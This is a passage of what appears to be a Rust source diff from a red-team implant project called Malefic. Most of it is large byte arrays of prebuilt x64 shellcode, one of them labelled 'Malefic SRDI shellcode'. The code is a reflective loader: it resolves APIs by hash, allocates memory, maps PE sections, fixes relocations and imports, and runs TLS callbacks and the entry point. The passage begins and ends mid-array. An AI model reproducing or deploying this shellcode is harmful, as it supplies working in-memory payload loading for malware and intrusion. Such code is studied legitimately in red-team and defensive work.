0x00, 0x00, 0x4c, 0x8b, 0x64, 0x24, 0x50, 0x4c, 0x89, 0xe1, 0xba, 0xdb, 0x2f, 0x07, 0xb7, 0xe8, + 0x46, 0xe7, 0xff, 0xff, 0x49, 0x89, 0xc6, 0x4c, 0x89, 0xe1, 0xba, 0xbf, 0xc1, 0xcf, 0xde, 0xe8, + 0x36, 0xe7, 0xff, 0xff, 0x49, 0x89, 0xc5, 0x4c, 0x89, 0xe1, 0xba, 0x57, 0xc2, 0x7b, 0x09, 0xe8, + 0x26, 0xe7, 0xff, 0xff, 0x49, 0x89, 0xc7, 0x4c, 0x89, 0xe1, 0xba, 0x0d, 0x50, 0x57, 0xe8, 0xe8, + 0x16, 0xe7, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x48, 0x4c, 0x8b, 0x64, 0x24, 0x28, 0x4c, 0x89, + 0xe1, 0xba, 0x7f, 0xb8, 0x69, 0x62, 0xe8, 0xff, 0xe6, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x40, + 0x4c, 0x89, 0xe1, 0xba, 0xdd, 0x5c, 0xde, 0x0d, 0xe8, 0xed, 0xe6, 0xff, 0xff, 0x4d, 0x85, 0xf6, + 0x0f, 0x84, 0x9a, 0x04, 0x00, 0x00, 0x4d, 0x85, 0xed, 0x0f, 0x84, 0x91, 0x04, 0x00, 0x00, 0x4d, + 0x85, 0xff, 0x0f, 0x84, 0x88, 0x04, 0x00, 0x00, 0x48, 0x83, 0x7c, 0x24, 0x48, 0x00, 0x0f, 0x84, + 0x7c, 0x04, 0x00, 0x00, 0x48, 0x83, 0x7c, 0x24, 0x40, 0x00, 0x0f, 0x84, 0x70, 0x04, 0x00, 0x00, + 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x67, 0x04, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x60, 0x4c, 0x89, + 0xfd, 0x4c, 0x8b, 0x7c, 0x24, 0x20, 0x49, 0x8b, 0x4f, 0x30, 0x41, 0x8b, 0x57, 0x50, 0x41, 0xb8, + 0x00, 0x30, 0x00, 0x00, 0x41, 0xb9, 0x04, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0x85, 0xc0, 0x74, + 0x12, 0x49, 0x89, 0xc4, 0x48, 0x89, 0x6c, 0x24, 0x30, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x45, 0x31, + 0xff, 0xeb, 0x36, 0x41, 0x8b, 0x57, 0x50, 0x31, 0xc9, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x41, + 0xb9, 0x04, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x10, 0x04, 0x00, 0x00, + 0x49, 0x89, 0xc4, 0x48, 0x89, 0x6c, 0x24, 0x30, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x49, 0x89, 0xc7, + 0x48, 0x8b, 0x44, 0x24, 0x20, 0x4c, 0x2b, 0x78, 0x30, 0x48, 0x8b, 0x5c, 0x24, 0x20, 0x48, 0x8d, + 0x43, 0x18, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x01, 0xdf, 0x48, 0x83, 0xc7, 0x18, 0x44, 0x8b, + 0x43, 0x54, 0x4c, 0x89, 0xe1, 0x48, 0x89, 0xf2, 0xe8, 0x28, 0xe4, 0xff, 0xff, 0x0f, 0xb7, 0x5b, + 0x06, 0x48, 0x83, 0xc7, 0x14, 0x66, 0x83, 0xeb, 0x01, 0x72, 0x1a, 0x8b, 0x4f, 0xf8, 0x44, 0x8b, + 0x47, 0xfc, 0x4c, 0x01, 0xe1, 0x8b, 0x17, 0x48, 0x01, 0xf2, 0xe8, 0x06, 0xe4, 0xff, 0xff, 0x48, + 0x83, 0xc7, 0x28, 0xeb, 0xe0, 0x4d, 0x85, 0xff, 0x74, 0x61, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x83, + 0xb8, 0xb4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x53, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x88, + 0xb0, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xe0, 0x8b, 0x09, 0x83, 0x3c, 0x08, 0x00, 0x74, 0x3c, 0x48, + 0x01, 0xc8, 0x48, 0x8d, 0x48, 0x04, 0x8b, 0x50, 0x04, 0x83, 0xc2, 0xf8, 0xd1, 0xea, 0x45, 0x31, + 0xc0, 0x4c, 0x39, 0xc2, 0x74, 0xe1, 0x46, 0x0f, 0xb7, 0x4c, 0x40, 0x08, 0x49, 0x81, 0xf9, 0x00, + 0x10, 0x00, 0x00, 0x72, 0x11, 0x44, 0x8b, 0x10, 0x41, 0x81, 0xe1, 0xff, 0x0f, 0x00, 0x00, 0x4d, + 0x01, 0xe1, 0x4f, 0x01, 0x3c, 0x0a, 0x49, 0xff, 0xc0, 0xeb, 0xd6, 0x48, 0x8b, 0x44, 0x24, 0x20, + 0x8b, 0xb8, 0x90, 0x00, 0x00, 0x00, 0x4c, 0x01, 0xe7, 0x8b, 0x4f, 0x0c, 0x48, 0x85, 0xc9, 0x74, + 0x4d, 0x4c, 0x01, 0xe1, 0x41, 0xff, 0xd6, 0x8b, 0x0f, 0x8b, 0x5f, 0x10, 0x85, 0xc9, 0x41, 0x89, + 0xdf, 0x44, 0x0f, 0x45, 0xf9, 0x48, 0x89, 0xc6, 0x4d, 0x01, 0xe7, 0x4c, 0x01, 0xe3, 0x31, 0xed, + 0x49, 0x8b, 0x04, 0x2f, 0x48, 0x85, 0xc0, 0x74, 0x1f, 0x78, 0x0a, 0x4a, 0x8d, 0x14, 0x20, 0x48, + 0x83, 0xc2, 0x02, 0xeb, 0x03, 0x0f, 0xb7, 0xd0, 0x48, 0x89, 0xf1, 0x41, 0xff, 0xd5, 0x48, 0x89, + 0x04, 0x2b, 0x48, 0x83, 0xc5, 0x08, 0xeb, 0xd8, 0x48, 0x83, 0xc7, 0x14, 0xeb, 0xab, 0x48, 0x8b, + 0x44, 0x24, 0x20, 0x83, 0xb8, 0xf4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x5c, 0x48, 0x8b, 0x44, 0x24, + 0x20, 0x8b, 0xb8, 0xf0, 0x00, 0x00, 0x00, 0x4c, 0x01, 0xe7, 0x8b, 0x4f, 0x04, 0x48, 0x85, 0xc9, + 0x74, 0x46, 0x4c, 0x01, 0xe1, 0x41, 0xff, 0xd6, 0x48, 0x89, 0xc6, 0x44, 0x8b, 0x7f, 0x0c, 0x8b, + 0x5f, 0x10, 0x4c, 0x01, 0xe3, 0x4d, 0x01, 0xe7, 0x31, 0xed, 0x48, 0x8b, 0x04, 0x2b, 0x48, 0x85, + 0xc0, 0x74, 0x1f, 0x78, 0x0a, 0x4a, 0x8d, 0x14, 0x20, 0x48, 0x83, 0xc2, 0x02, 0xeb, 0x03, 0x0f, + 0xb7, 0xd0, 0x48, 0x89, 0xf1, 0x41, 0xff, 0xd5, 0x49, 0x89, 0x04, 0x2f, 0x48, 0x83, 0xc5, 0x08, + 0xeb, 0xd8, 0x48, 0x83, 0xc7, 0x20, 0xeb, 0xb2, 0x4c, 0x8b, 0x7c, 0x24, 0x20, 0x41, 0x0f, 0xb7, + 0x47, 0x14, 0x41, 0x0f, 0xb7, 0x7f, 0x06, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x4c, 0x8d, 0x34, 0x08, + 0x49, 0x83, 0xc6, 0x0c, 0x48, 0x8d, 0x74, 0x24, 0x78, 0x48, 0x8b, 0x5c, 0x24, 0x48, 0x66, 0x83, + 0xef, 0x01, 0x72, 0x6f, 0x83, 0x64, 0x24, 0x78, 0x00, 0x41, 0x8b, 0x46, 0x18, 0x41, 0x89, 0xc0, + 0x41, 0x81, 0xe0, 0x00, 0x00, 0x00, 0x40, 0x0f, 0xba, 0xe0, 0x1d, 0x72, 0x0a, 0x85, 0xc0, 0x78, + 0x1a, 0x41, 0xc1, 0xe8, 0x1d, 0xeb, 0x37, 0x85, 0xc0, 0x78, 0x22, 0x31, 0xc0, 0x45, 0x85, 0xc0, + 0x0f, 0x95, 0xc0, 0xc1, 0xe0, 0x04, 0x83, 0xc0, 0x10, 0xeb, 0x20, 0x31, 0xc0, 0x45, 0x85, 0xc0, + 0x0f, 0x94, 0xc0, 0x44, 0x8d, 0x04, 0x85, 0x04, 0x00, 0x00, 0x00, 0xeb, 0x11, 0x31, 0xc0, 0x45, + 0x85, 0xc0, 0x0f, 0x94, 0xc0, 0xc1, 0xe0, 0x06, 0x83, 0xc0, 0x40, 0x41, 0x89, 0xc0, 0x41, 0x8b, + 0x0e, 0x4c, 0x01, 0xe1, 0x41, 0x8b, 0x56, 0x04, 0x49, 0x89, 0xf1, 0xff, 0xd3, 0x49, 0x83, 0xc6, + 0x28, 0xeb, 0x8b, 0x31, 0xff, 0x48, 0xc7, 0xc1, 0xff, 0xff, 0xff, 0xff, 0x31, 0xd2, 0x45, 0x31, + 0xc0, 0xff, 0x54, 0x24, 0x40, 0x48, 0x8d, 0xb4, 0x24, 0x9c, 0x01, 0x00, 0x00, 0x41, 0xb8, 0x1c, + 0x01, 0x00, 0x00, 0x48, 0x89, 0xf1, 0x31, 0xd2, 0xe8, 0x91, 0xe3, 0xff, 0xff, 0x48, 0x89, 0xf1, + 0xff, 0x54, 0x24, 0x60, 0x8b, 0x46, 0x04, 0xc1, 0xe0, 0x08, 0x0b, 0x46, 0x08, 0x3d, 0x01, 0x05, + 0x00, 0x00, 0x0f, 0x84, 0x95, 0x00, 0x00, 0x00, 0x3d, 0x01, 0x06, 0x00, 0x00, 0x74, 0x7f, 0x3d, + 0x02, 0x06, 0x00, 0x00, 0x74, 0x7d, 0x3d, 0x03, 0x06, 0x00, 0x00, 0x74, 0x7b, 0x3d, 0x00, 0x0a, + 0x00, 0x00, 0x75, 0x7c, 0x8b, 0x84, 0x24, 0xa8, 0x01, 0x00, 0x00, 0x40, 0xb7, 0x0f, 0x3d, 0xeb, + 0x55, 0x00, 0x00, 0x77, 0x6b, 0x40, 0xb7, 0x0e, 0x3d, 0x60, 0x4a, 0x00, 0x00, 0x77, 0x61, 0x40, + 0xb7, 0x0d, 0x3d, 0xba, 0x47, 0x00, 0x00, 0x77, 0x57, 0x40, 0xb7, 0x0c, 0x74, 0x52, 0x40, 0xb7, + 0x0b, 0x3d, 0x62, 0x45, 0x00, 0x00, 0x77, 0x48, 0x40, 0xb7, 0x0a, 0x3d, 0xed, 0x42, 0x00, 0x00, + 0x77, 0x3e, 0x40, 0xb7, 0x09, 0x3d, 0xaa, 0x3f, 0x00, 0x00, 0x77, 0x34, 0x40, 0xb7, 0x08, 0x3d, + 0xd6, 0x3a, 0x00, 0x00, 0x77, 0x2a, 0x40, 0xb7, 0x07, 0x3d, 0x38, 0x38, 0x00, 0x00, 0x77, 0x20, + 0x3d, 0x5a, 0x29, 0x00, 0x00, 0x40, 0xb7, 0x05, 0x40, 0x80, 0xdf, 0xff, 0xeb, 0x12, 0x40, 0xb7, + 0x02, 0xeb, 0x0d, 0x40, 0xb7, 0x03, 0xeb, 0x08, 0x40, 0xb7, 0x04, 0xeb, 0x03, 0x40, 0xb7, 0x01, + 0x48, 0x8d, 0x94, 0x24, 0x9c, 0x01, 0x00, 0x00, 0x8b, 0x5a, 0x0c, 0x48, 0x8d, 0x74, 0x24, 0x7c, + 0x41, 0xb8, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x89, 0xf1, 0xe8, 0x17, 0xfb, 0xff, 0xff, 0x40, 0x88, + 0xbe, 0x1c, 0x01, 0x00, 0x00, 0x89, 0x5e, 0xfc, 0x4c, 0x8d, 0x44, 0x24, 0x78, 0x48, 0x8b, 0x4c, + 0x24, 0x28, 0x4c, 0x89, 0xe2, 0xe8, 0xf4, 0xf3, 0xff, 0xff, 0x41, 0x83, 0xbf, 0xd4, 0x00, 0x00, + 0x00, 0x00, 0x48, 0x8b, 0x7c, 0x24, 0x38, 0x74, 0x27, 0x41, 0x8b, 0x87, 0xd0, 0x00, 0x00, 0x00, + 0x49, 0x8b, 0x74, 0x04, 0x18, 0x48, 0x8b, 0x06, 0x48, 0x85, 0xc0, 0x74, 0x13, 0x4c, 0x89, 0xe1, + 0xba, 0x01, 0x00, 0x00, 0x00, 0x45, 0x31, 0xc0, 0xff, 0xd0, 0x48, 0x83, 0xc6, 0x08, 0xeb, 0xe5, + 0x48, 0x8b, 0x4c, 0x24, 0x50, 0xba, 0xce, 0x87, 0xa8, 0x81, 0xe8, 0xcb, 0xe2, 0xff, 0xff, 0x48, + 0x85, 0xc0, 0x74, 0x7c, 0x49, 0x89, 0xc1, 0x41, 0x8b, 0x87, 0xa4, 0x00, 0x00, 0x00, 0x85, 0xc0, + 0x74, 0x1e, 0x41, 0x8b, 0x8f, 0xd0, 0x00, 0x00, 0x00, 0x4c, 0x01, 0xe1, 0x41, 0xb8, 0x0c, 0x00, + 0x00, 0x00, 0x31, 0xd2, 0x41, 0xf7, 0xf0, 0x8d, 0x50, 0xff, 0x4d, 0x89, 0xe0, 0x41, 0xff, 0xd1, + 0x41, 0x8b, 0x47, 0x28, 0x49, 0x01, 0xc4, 0x31, 0xc9, 0x48, 0x8b, 0x5c, 0x24, 0x70, 0x48, 0x89, + 0xda, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x41, 0xb9, 0x04, 0x00, 0x00, 0x00, 0xff, 0x54, 0x24, + 0x30, 0x48, 0x89, 0xc6, 0x48, 0x89, 0xc1, 0x48, 0x8b, 0x54, 0x24, 0x68, 0x49, 0x89, 0xd8, 0xe8, + 0x71, 0xe0, 0xff, 0xff, 0x31, 0xc9, 0x48, 0x85, 0xff, 0x74, 0x0a, 0xba, 0x0d, 0x00, 0x00, 0x00, + 0x49, 0x89, 0xf0, 0xeb, 0x08, 0xba, 0x01, 0x00, 0x00, 0x00, 0x45, 0x31, 0xc0, 0x41, 0xff, 0xd4, + 0x90, 0x48, 0x81, 0xc4, 0xb8, 0x02, 0x00, 0x00, 0x5b, 0x5d, 0x5f, 0x5e, 0x41, 0x5c, 0x41, 0x5d, + 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0x41, 0x56, 0x56, 0x57, 0x55, 0x53, 0x45, 0x84, 0xc9, 0x74, 0x04, 0x31, 0xc0, 0xeb, 0x78, 0x48, + 0xff, 0xc2, 0x4c, 0x8b, 0x09, 0x4c, 0x8b, 0x51, 0x10, 0x4c, 0x8b, 0x59, 0x18, 0x49, 0x8d, 0x73, + 0xfc, 0x66, 0x45, 0x85, 0xc0, 0x0f, 0x95, 0xc0, 0x74, 0x5d, 0x41, 0x0f, 0xbc, 0xc8, 0x48, 0x8d, + 0x3c, 0x0a, 0x4c, 0x01, 0xcf, 0x49, 0x83, 0xfb, 0x03, 0x77, 0x19, 0x31, 0xc0, 0x49, 0x39, 0xc3, + 0x74, 0x43, 0x8a, 0x1c, 0x07, 0x4c, 0x8d, 0x70, 0x01, 0x41, 0x3a, 0x1c, 0x02, 0x4c, 0x89, 0xf0, + 0x74, 0xeb, 0xeb, 0x25, 0x48, 0x8d, 0x1c, 0x37, 0x4d, 0x89, 0xd6, 0x48, 0x39, 0xdf, 0x73, 0x11, + 0x8b, 0x2f, 0x41, 0x3b, 0x2e, 0x75, 0x12, 0x48, 0x83, 0xc7, 0x04, 0x49, 0x83, 0xc6, 0x04, 0xeb, + 0xea, 0x8b, 0x3b, 0x41, 0x3b, 0x3c, 0x32, 0x74, 0x0e, 0x66, 0xb8, 0xfe, 0xff, 0x66, 0xd3, 0xc0, + 0x41, 0x21, 0xc0, 0xeb, 0x9c, 0xb0, 0x01, 0x5b, 0x5d, 0x5f, 0x5e, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, + 0xeb, 0xfe, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0xe8, 0xe7, 0xff, 0xff, 0xff, 0x0f, 0x0b, 0xcc, 0x01, 0x06, 0x05, 0x00, + 0x06, 0x30, 0x05, 0x50, 0x04, 0x70, 0x03, 0x60, 0x02, 0xe0, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, + 0x04, 0x42, 0x00, 0x00, 0x01, 0x0c, 0x06, 0x00, 0x0c, 0x01, 0x05, 0x01, 0x05, 0x30, 0x04, 0x70, + 0x03, 0x60, 0x02, 0xe0, 0x01, 0x0b, 0x06, 0x00, 0x0b, 0x32, 0x07, 0x30, 0x06, 0x70, 0x05, 0x60, + 0x04, 0xe0, 0x02, 0xf0, 0x01, 0x10, 0x09, 0x00, 0x10, 0x42, 0x0c, 0x30, 0x0b, 0x50, 0x0a, 0x70, + 0x09, 0x60, 0x08, 0xc0, 0x06, 0xd0, 0x04, 0xe0, 0x02, 0xf0, 0x00, 0x00, 0x01, 0x13, 0x0a, 0x00, + 0x13, 0x01, 0x23, 0x00, 0x0c, 0x30, 0x0b, 0x50, 0x0a, 0x70, 0x09, 0x60, 0x08, 0xc0, 0x06, 0xd0, + 0x04, 0xe0, 0x02, 0xf0, 0x01, 0x08, 0x03, 0x00, 0x08, 0x01, 0x16, 0x00, 0x01, 0x60, 0x00, 0x00, + 0x01, 0x07, 0x04, 0x00, 0x07, 0xd2, 0x03, 0x30, 0x02, 0x70, 0x01, 0x60, 0x01, 0x07, 0x04, 0x00, + 0x07, 0x92, 0x03, 0x30, 0x02, 0x70, 0x01, 0x60, 0x01, 0x09, 0x05, 0x00, 0x09, 0x62, 0x05, 0x30, + 0x04, 0x70, 0x03, 0x60, 0x02, 0xe0, 0x00, 0x00, 0x01, 0x10, 0x09, 0x00, 0x10, 0xe2, 0x0c, 0x30, + 0x0b, 0x50, 0x0a, 0x70, 0x09, 0x60, 0x08, 0xc0, 0x06, 0xd0, 0x04, 0xe0, 0x02, 0xf0, 0x00, 0x00, + 0x01, 0x10, 0x09, 0x00, 0x10, 0x62, 0x0c, 0x30, 0x0b, 0x50, 0x0a, 0x70, 0x09, 0x60, 0x08, 0xc0, + 0x06, 0xd0, 0x04, 0xe0, 0x02, 0xf0, 0x00, 0x00, 0x01, 0x05, 0x02, 0x00, 0x05, 0x32, 0x01, 0x60, + 0x01, 0x13, 0x0a, 0x00, 0x13, 0x01, 0x57, 0x00, 0x0c, 0x30, 0x0b, 0x50, 0x0a, 0x70, 0x09, 0x60, + 0x08, 0xc0, 0x06, 0xd0, 0x04, 0xe0, 0x02, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +]; + +// --- Malefic SRDI shellcode: feature-gated --- +// With `rebuild_srdi`: built from malefic-crates/srdi source via build.rs +// Without (default): use pre-built bytes below + +#[cfg(feature = "rebuild_srdi")] +pub static MALEFIC_RDI_SHELLCODE_64: &[u8] = + include_bytes!(concat!(env!("OUT_DIR"), "/malefic_srdi_x64.bin")); + +#[cfg(feature = "rebuild_srdi")] +pub static MALEFIC_RDI_SHELLCODE_32: &[u8] = + include_bytes!(concat!(env!("OUT_DIR"), "/malefic_srdi_x32.bin")); + +#[cfg(not(feature = "rebuild_srdi"))] +pub static MALEFIC_RDI_SHELLCODE_64: &[u8] = &[ + 0x80, 0x12, 0x00, 0x00, 0xa5, 0x12, 0x00, 0x00, 0x5c, 0x33, 0x00, 0x00, 0x32, 0x13, 0x00, 0x00, + 0x2e, 0x14, 0x00, 0x00, 0x64, 0x33, 0x00, 0x00, 0x3e, 0x14, 0x00, 0x00, 0x9a, 0x14, 0x00, 0x00, + 0x74, 0x33, 0x00, 0x00, 0x9a, 0x14, 0x00, 0x00, 0x38, 0x15, 0x00, 0x00, 0x84, 0x33, 0x00, 0x00, + 0x38, 0x15, 0x00, 0x00, 0x7e, 0x25, 0x00, 0x00, 0x9c, 0x33, 0x00, 0x00, 0x7e, 0x25, 0x00, 0x00, + 0xc3, 0x25, 0x00, 0x00, 0xb4, 0x33, 0x00, 0x00, 0xc3, 0x25, 0x00, 0x00, 0x5e, 0x28, 0x00, 0x00, + 0xc0, 0x33, 0x00, 0x00, 0x7a, 0x28, 0x00, 0x00, 0xed, 0x29, 0x00, 0x00, 0xcc, 0x33, 0x00, 0x00, + 0xed, 0x29, 0x00, 0x00, 0x5a, 0x2a, 0x00, 0x00, 0xd8, 0x33, 0x00, 0x00, 0x5a, 0x2a, 0x00, 0x00, + 0x7e, 0x2a, 0x00, 0x00, 0x5c, 0x33, 0x00, 0x00, 0x7e, 0x2a, 0x00, 0x00, 0xe9, 0x2b, 0x00, 0x00, + 0xe8, 0x33, 0x00, 0x00, 0xe9, 0x2b, 0x00, 0x00, 0xae, 0x2c, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, + 0xae, 0x2c, 0x00, 0x00, 0xc4, 0x2c, 0x00, 0x00, 0x18, 0x34, 0x00, 0x00, 0xe7, 0x2c, 0x00, 0x00, + 0x95, 0x32, 0x00, 0x00, 0x20, 0x34, 0x00, 0x00, 0xa0, 0x32, 0x00, 0x00, 0x2e, 0x33, 0x00, 0x00, + 0x4c, 0x33, 0x00, 0x00, 0x40, 0x33, 0x00, 0x00, 0x4b, 0x33, 0x00, 0x00, 0x5c, 0x33, 0x00, 0x00, + 0x2f, 0x72, 0x75, 0x73, 0x74, 0x63, 0x2f, 0x32, 0x30, 0x33, 0x63, 0x35, 0x37, 0x64, 0x62, 0x65, + 0x32, 0x30, 0x61, 0x65, 0x65, 0x36, 0x37, 0x65, 0x61, 0x61, 0x38, 0x66, 0x37, 0x62, 0x65, 0x34, + 0x35, 0x64, 0x31, 0x65, 0x34, 0x65, 0x66, 0x30, 0x62, 0x32, 0x37, 0x34, 0x31, 0x30, 0x39, 0x5c, + 0x6c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x5c, 0x63, 0x6f, 0x72, 0x65, 0x5c, 0x73, 0x72, 0x63, + 0x5c, 0x73, 0x74, 0x72, 0x5c, 0x70, 0x61, 0x74, 0x74, 0x65, 0x72, 0x6e, 0x2e, 0x72, 0x73, 0x00, + 0xc0, 0x10, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xda, 0x06, 0x00, 0x00, 0x49, 0x00, 0x00, 0x00, 0xc0, 0x10, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb3, 0x05, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, + 0xc0, 0x10, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb3, 0x05, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0xc0, 0x10, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa7, 0x05, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, + 0x73, 0x72, 0x63, 0x5c, 0x75, 0x74, 0x69, 0x6c, 0x73, 0x2e, 0x72, 0x73, 0x00, 0x00, 0x00, 0x00, + 0x70, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0x01, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x70, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x01, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, + 0x70, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x8f, 0x01, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6c, 0x69, 0x62, 0x72, + 0x61, 0x72, 0x79, 0x5c, 0x63, 0x6f, 0x72, 0x65, 0x5c, 0x73, 0x72, 0x63, 0x5c, 0x73, 0x74, 0x72, + 0x5c, 0x70, 0x61, 0x74, 0x74, 0x65, 0x72, 0x6e, 0x2e, 0x72, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xcc, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x42, 0x05, 0x00, 0x00, 